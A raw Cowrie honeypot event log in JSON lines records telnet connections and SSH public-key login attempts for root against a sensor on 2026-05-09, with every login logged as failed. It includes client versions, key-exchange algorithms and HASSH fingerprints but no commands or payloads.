{"eventid":"cowrie.session.closed","duration":30.77893304824829,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:21.837973Z","src_ip":"50.6.18.72","session":"a7ebf7f79089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:23.027783Z","src_ip":"154.198.162.75","session":"557f4e88b934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":53512,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b9a0145c736","protocol":"telnet","message":"New connection: 50.6.18.72:53512 (159.203.135.109:23) [session: 1b9a0145c736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:24.611724Z"}
{"eventid":"cowrie.session.closed","duration":12.952102661132812,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:24.746768Z","src_ip":"147.182.143.59","session":"99e4847e6c9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":53514,"dst_ip":"159.203.135.109","dst_port":23,"session":"c42eb52f0e30","protocol":"telnet","message":"New connection: 50.6.18.72:53514 (159.203.135.109:23) [session: c42eb52f0e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:24.996099Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46322,"dst_ip":"10.17.0.5","dst_port":23,"session":"350e23310e82","protocol":"telnet","message":"New connection: 45.58.127.90:46322 (10.17.0.5:23) [session: 350e23310e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:25.000836Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":53530,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb74c17e7ecf","protocol":"telnet","message":"New connection: 50.6.18.72:53530 (159.203.135.109:23) [session: eb74c17e7ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:25.278027Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":40308,"dst_ip":"159.203.135.109","dst_port":23,"session":"219084604058","protocol":"telnet","message":"New connection: 50.6.18.72:40308 (159.203.135.109:23) [session: 219084604058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:26.106266Z"}
{"eventid":"cowrie.session.closed","duration":31.119733572006226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:26.524557Z","src_ip":"50.6.18.72","session":"e95a843bcc21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.627652883529663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:26.597650Z","src_ip":"50.6.18.72","session":"3c476496cdd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.11936330795288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:27.532665Z","src_ip":"50.6.18.72","session":"3f378d0062ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892861127853394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:27.870106Z","src_ip":"50.6.18.72","session":"dbad4f5babe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":40330,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b1629d2f0a4","protocol":"telnet","message":"New connection: 50.6.18.72:40330 (159.203.135.109:23) [session: 0b1629d2f0a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:29.264376Z"}
{"eventid":"cowrie.session.closed","duration":30.46387815475464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:29.782392Z","src_ip":"50.6.18.72","session":"7ded38159a28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110794067382812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:31.509426Z","src_ip":"50.6.18.72","session":"8e6d4c6f603b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28120493888855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:31.610844Z","src_ip":"50.6.18.72","session":"c69a91e122ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":40346,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fb2c2ff012c","protocol":"telnet","message":"New connection: 50.6.18.72:40346 (159.203.135.109:23) [session: 5fb2c2ff012c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:31.911298Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":40354,"dst_ip":"159.203.135.109","dst_port":23,"session":"08a5c9f8121c","protocol":"telnet","message":"New connection: 50.6.18.72:40354 (159.203.135.109:23) [session: 08a5c9f8121c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:32.153356Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":40322,"dst_ip":"159.203.135.109","dst_port":23,"session":"407d1a1d2c34","protocol":"telnet","message":"New connection: 50.6.18.72:40322 (159.203.135.109:23) [session: 407d1a1d2c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:33.826738Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39578,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a55f9f922d4","protocol":"telnet","message":"New connection: 45.58.127.90:39578 (10.17.0.5:23) [session: 4a55f9f922d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:35.379962Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":40364,"dst_ip":"159.203.135.109","dst_port":23,"session":"af15b667dae6","protocol":"telnet","message":"New connection: 50.6.18.72:40364 (159.203.135.109:23) [session: af15b667dae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:35.546416Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43524,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb5775f70084","protocol":"telnet","message":"New connection: 50.6.18.72:43524 (159.203.135.109:23) [session: eb5775f70084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:35.671344Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43526,"dst_ip":"159.203.135.109","dst_port":23,"session":"e914e5877402","protocol":"telnet","message":"New connection: 50.6.18.72:43526 (159.203.135.109:23) [session: e914e5877402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:36.043548Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43542,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ca4f3d2b873","protocol":"telnet","message":"New connection: 50.6.18.72:43542 (159.203.135.109:23) [session: 7ca4f3d2b873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:37.344427Z"}
{"eventid":"cowrie.session.closed","duration":30.770841598510742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:37.875941Z","src_ip":"50.6.18.72","session":"352191c5677a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39592,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7f7a2aaf078","protocol":"telnet","message":"New connection: 45.58.127.90:39592 (10.17.0.5:23) [session: c7f7a2aaf078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:38.198649Z"}
{"eventid":"cowrie.session.closed","duration":30.67765498161316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:38.943825Z","src_ip":"50.6.18.72","session":"19d9922ccaca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43576,"dst_ip":"159.203.135.109","dst_port":23,"session":"426e3b7795c3","protocol":"telnet","message":"New connection: 50.6.18.72:43576 (159.203.135.109:23) [session: 426e3b7795c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:39.170360Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43592,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee8f868e9289","protocol":"telnet","message":"New connection: 50.6.18.72:43592 (159.203.135.109:23) [session: ee8f868e9289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:39.383781Z"}
{"eventid":"cowrie.session.closed","duration":30.596193075180054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:39.833347Z","src_ip":"50.6.18.72","session":"264490f6cdfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43564,"dst_ip":"159.203.135.109","dst_port":23,"session":"81739e9ec1a6","protocol":"telnet","message":"New connection: 50.6.18.72:43564 (159.203.135.109:23) [session: 81739e9ec1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:39.937311Z"}
{"eventid":"cowrie.session.closed","duration":31.108181476593018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:41.070132Z","src_ip":"50.6.18.72","session":"9284fd795524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.132.17","src_port":33750,"dst_ip":"10.17.0.5","dst_port":22,"session":"68027c9e0e74","protocol":"ssh","message":"New connection: 108.181.132.17:33750 (10.17.0.5:22) [session: 68027c9e0e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.036868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.040858Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.055275Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:a4:bf:66:cc:f9:82:89:cd:7e:bc:87:83:19:82:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaYHkHsftsItMJIB6Rw8y0B4cPhJ8yc4mtzOPtzIfTBW38rEOPl5olqS7MU0lAcoTr4OdYY+ez9pT5Rv8F+zTV9W8WCkDKrvTmpM9+kLSSWxm+S2iTx0qIA3pcYnrnBlsVx3XNTTCNfVlIr9iLHywDxNt9YfVFGpLB1x1xZ1df7C2BCXKoozF2sKu2zJCPCDuCAGBy0h8yhZJhMEuGDBGPVh3ofEET4U0H7ZXAW5rg/iyeC6fOVA0jbwMWnACIO2KPdJBrrqHoNx7I8oxEXB+oAFlkMUAhZRToPepj9QUCxgava4lk6mnCI4FIAKh4OslrllW2poBWilk15TpRVaNR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:a4:bf:66:cc:f9:82:89:cd:7e:bc:87:83:19:82:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.098872Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:a4:bf:66:cc:f9:82:89:cd:7e:bc:87:83:19:82:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaYHkHsftsItMJIB6Rw8y0B4cPhJ8yc4mtzOPtzIfTBW38rEOPl5olqS7MU0lAcoTr4OdYY+ez9pT5Rv8F+zTV9W8WCkDKrvTmpM9+kLSSWxm+S2iTx0qIA3pcYnrnBlsVx3XNTTCNfVlIr9iLHywDxNt9YfVFGpLB1x1xZ1df7C2BCXKoozF2sKu2zJCPCDuCAGBy0h8yhZJhMEuGDBGPVh3ofEET4U0H7ZXAW5rg/iyeC6fOVA0jbwMWnACIO2KPdJBrrqHoNx7I8oxEXB+oAFlkMUAhZRToPepj9QUCxgava4lk6mnCI4FIAKh4OslrllW2poBWilk15TpRVaNR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.102691Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:66:65:38:7b:be:82:7d:19:98:50:fd:be:e5:ba:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfrqC8ovxzjykly4AicQBxxgeu+xmsx9GymRYYUR9jAS5BaVFDr+Xjv2xfdffpcpvbSp8KGwJlvu21c+AkRbr9UqaDnSM89JZlsVbCGOESmpoUVH93j9BlEqr14WNNbTU9yCmNMren78zw3jAysVFFmQhMQQ1HHAOxoRsZy2Id/WcXr6J3WFoKdVOnQmzWk2ZQ5O85a1jopSIOakRW3zCi2vxmBja24TeoUk2etY1+YCx8X5/ct0OW05mXXzS6Na1BV0QH1+50butguGEQUX+lnK1EtT+xp1bm24u94RWYBtL4E5TFR0rMeW+Ex529l9tjdsYTko0MSXUhldulzWS181j90uXdUVlB0erdpWHmSKE8cr43m0GVgcBnYMYJ6ZRSmRpPlMctH110Hppu7WKIVGenEsyMao6yUsush7GKsCjE9ZyM8KUjXGClT0prdbjKfgzcH7mT9m1wmU68TmAQ678EEx+L6HnD8DitWFpN+hpp7aMxp0kvant76aW7jBM0Az3IM5n9ch6SGKGQZYuo97iAzHXflImN0mbKKCEYSBTdPKqQEhL3tnCyZmYnN4Swl+XigYjGCGP8PHOKuKIc7jajNPlxmXEfQGGyDWrFHPIzP4OCdQ226UMT8dBV3wvZqicpR4+g+i06lW/ZCYr/t1uXgqRVXri/vu1hjrdYoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:66:65:38:7b:be:82:7d:19:98:50:fd:be:e5:ba:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.115597Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:66:65:38:7b:be:82:7d:19:98:50:fd:be:e5:ba:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfrqC8ovxzjykly4AicQBxxgeu+xmsx9GymRYYUR9jAS5BaVFDr+Xjv2xfdffpcpvbSp8KGwJlvu21c+AkRbr9UqaDnSM89JZlsVbCGOESmpoUVH93j9BlEqr14WNNbTU9yCmNMren78zw3jAysVFFmQhMQQ1HHAOxoRsZy2Id/WcXr6J3WFoKdVOnQmzWk2ZQ5O85a1jopSIOakRW3zCi2vxmBja24TeoUk2etY1+YCx8X5/ct0OW05mXXzS6Na1BV0QH1+50butguGEQUX+lnK1EtT+xp1bm24u94RWYBtL4E5TFR0rMeW+Ex529l9tjdsYTko0MSXUhldulzWS181j90uXdUVlB0erdpWHmSKE8cr43m0GVgcBnYMYJ6ZRSmRpPlMctH110Hppu7WKIVGenEsyMao6yUsush7GKsCjE9ZyM8KUjXGClT0prdbjKfgzcH7mT9m1wmU68TmAQ678EEx+L6HnD8DitWFpN+hpp7aMxp0kvant76aW7jBM0Az3IM5n9ch6SGKGQZYuo97iAzHXflImN0mbKKCEYSBTdPKqQEhL3tnCyZmYnN4Swl+XigYjGCGP8PHOKuKIc7jajNPlxmXEfQGGyDWrFHPIzP4OCdQ226UMT8dBV3wvZqicpR4+g+i06lW/ZCYr/t1uXgqRVXri/vu1hjrdYoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.119285Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:cc:97:d4:83:5a:a5:7f:08:0c:c6:e4:02:fa:bf:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1gHrPYHvNGqjDNM1UMlQOPk+jb+kK0OqS2vnFE351I2ck8AMQApD6exs2QP3tl3k6DK3/3Qb8QVds5fVgWpkHSJpeWl2Np/PRGM0zHg+TmyrkZpS2osfIwWirA7xF1xevkbdnww+L9u0xLxKk4EDnhyojeH1K5JrZwI5VXR7+Td2XP23ukagyx4Ot+lw2U0ngCpvHN5I15MB0uwvAv9K89OgLHsavkgpIsfLQCmpkVeCxz4etP6OPeDaw5tbKBQVbk1RV3h6WNUWhDEAZzUjo+yEBdKHFfq1iKxKsGixu1Htvo/B90vr/ov5Un1FqVci4FzBkhZuwvqQhy+QnKJWe0mj0fn7QCA1gEJufaYbLriuYIkwyFLByxM4nrZ9cAzv0ZH/U6bSDesJ82jDZY9lOOiS8WlqrBwdnK9plxS8Bhh/fcKzb8EfkcxfrZaGaPWjZ4oMFaU9N9/g6IgLfAF6nu++A9A0tDCPRBgJndY7ejzpW0oXePS8UTpSNjk06HbB1Z8iU5XrQaeMdo2s6ACCsOnRNQtEqm9ZRtrIuBrh1O5904hWBx3DV9YA33tWfu4azpVT8LgC9PX7aY67JOaoKMZb5KWzAK8j9cnOySGljstdtVkRaoi6BQtD5IryENh/1WM5ygIEqo1nchFMAye+Jf+CLzBgj6ubbxC9bgLWJQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:cc:97:d4:83:5a:a5:7f:08:0c:c6:e4:02:fa:bf:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.131689Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:cc:97:d4:83:5a:a5:7f:08:0c:c6:e4:02:fa:bf:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1gHrPYHvNGqjDNM1UMlQOPk+jb+kK0OqS2vnFE351I2ck8AMQApD6exs2QP3tl3k6DK3/3Qb8QVds5fVgWpkHSJpeWl2Np/PRGM0zHg+TmyrkZpS2osfIwWirA7xF1xevkbdnww+L9u0xLxKk4EDnhyojeH1K5JrZwI5VXR7+Td2XP23ukagyx4Ot+lw2U0ngCpvHN5I15MB0uwvAv9K89OgLHsavkgpIsfLQCmpkVeCxz4etP6OPeDaw5tbKBQVbk1RV3h6WNUWhDEAZzUjo+yEBdKHFfq1iKxKsGixu1Htvo/B90vr/ov5Un1FqVci4FzBkhZuwvqQhy+QnKJWe0mj0fn7QCA1gEJufaYbLriuYIkwyFLByxM4nrZ9cAzv0ZH/U6bSDesJ82jDZY9lOOiS8WlqrBwdnK9plxS8Bhh/fcKzb8EfkcxfrZaGaPWjZ4oMFaU9N9/g6IgLfAF6nu++A9A0tDCPRBgJndY7ejzpW0oXePS8UTpSNjk06HbB1Z8iU5XrQaeMdo2s6ACCsOnRNQtEqm9ZRtrIuBrh1O5904hWBx3DV9YA33tWfu4azpVT8LgC9PX7aY67JOaoKMZb5KWzAK8j9cnOySGljstdtVkRaoi6BQtD5IryENh/1WM5ygIEqo1nchFMAye+Jf+CLzBgj6ubbxC9bgLWJQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.135090Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:23:4f:00:7b:97:80:08:b7:20:ff:3c:e8:87:e8:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEwu1HXVTZU7as892vO3zpI1X7s2o34mZ5FF0e9iijGY7LPKydy0Rky1m8B4VJnuLcsDgWXl3uAUDOzKyMpxvjOx56s4ePeqq6p71LCJ6+uuT532oIyMzQfvVqskflY5+osxqdRY3hKz8LCAWchvyIZcIc0l6rTcfd0q9fg16zHYmVxt1ot7zjNNjRgh2PhVNb/LBRfmqq5mNmlFthfk7dQsQmzGEL14Delb2933J+SyB6u0qZPpm5cvrNWBkp6T9XGC3dqCCbnoZk4w/Y2rHgWhxgWesATat7w87MgiMiQ8W7T90eWcvA+ztLR4RRL7hDrvImoRmMwzBNgKCmYD/L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:23:4f:00:7b:97:80:08:b7:20:ff:3c:e8:87:e8:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.147219Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:23:4f:00:7b:97:80:08:b7:20:ff:3c:e8:87:e8:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEwu1HXVTZU7as892vO3zpI1X7s2o34mZ5FF0e9iijGY7LPKydy0Rky1m8B4VJnuLcsDgWXl3uAUDOzKyMpxvjOx56s4ePeqq6p71LCJ6+uuT532oIyMzQfvVqskflY5+osxqdRY3hKz8LCAWchvyIZcIc0l6rTcfd0q9fg16zHYmVxt1ot7zjNNjRgh2PhVNb/LBRfmqq5mNmlFthfk7dQsQmzGEL14Delb2933J+SyB6u0qZPpm5cvrNWBkp6T9XGC3dqCCbnoZk4w/Y2rHgWhxgWesATat7w87MgiMiQ8W7T90eWcvA+ztLR4RRL7hDrvImoRmMwzBNgKCmYD/L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.154598Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:8e:8c:8e:4b:42:b4:33:4e:29:11:80:d6:b7:9e:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCl+QXxLB7/Pw1t5VrpBnwoUYBRMJ9TSlR9AphPaR1LeALY6ShuVUl3XPOCG7s5ix4SdvGM8dDgCyNVPyJ94Mk4D+U4oqoQkeUjEq5xQt8edFAO751Qs0WSF7UMBQkcnou++CDxvPUbNx/6lQ4gCGJrCl5cZXk1hNy9EprUBgli8jNrg2CoE/azU8j4sZklZCAenG7bgUB3ZZ2qkrJhoL5FUnrGwGw3g6XcAz1uUFJqkxQSvMTHanUT8hyXbTRoz+3OQaJRUbDVMRB80oa3LyxZwnIEgcNqRd0whUSH2fLSu+XseSlCRI8vwraRHw+Ex3ocHlPEIo7x8zAWSLR6QUGhN0unJVPLYaFDEcF4oEnDLdsAtE92Rq7i8fzN91TIaMg/EoY8Wm8Q3mc9OMrWH/UVCgcSSiH1Cb7dTP0Xb1ErVM+UVpIVOZkayYTiF8EpSLpLBFfEIWXYv/FmWefg0c+rqFWEpWsiXXs7isxCgaT/BKxC4RvGwmte3DIJEg9AGk8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:8e:8c:8e:4b:42:b4:33:4e:29:11:80:d6:b7:9e:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.168411Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
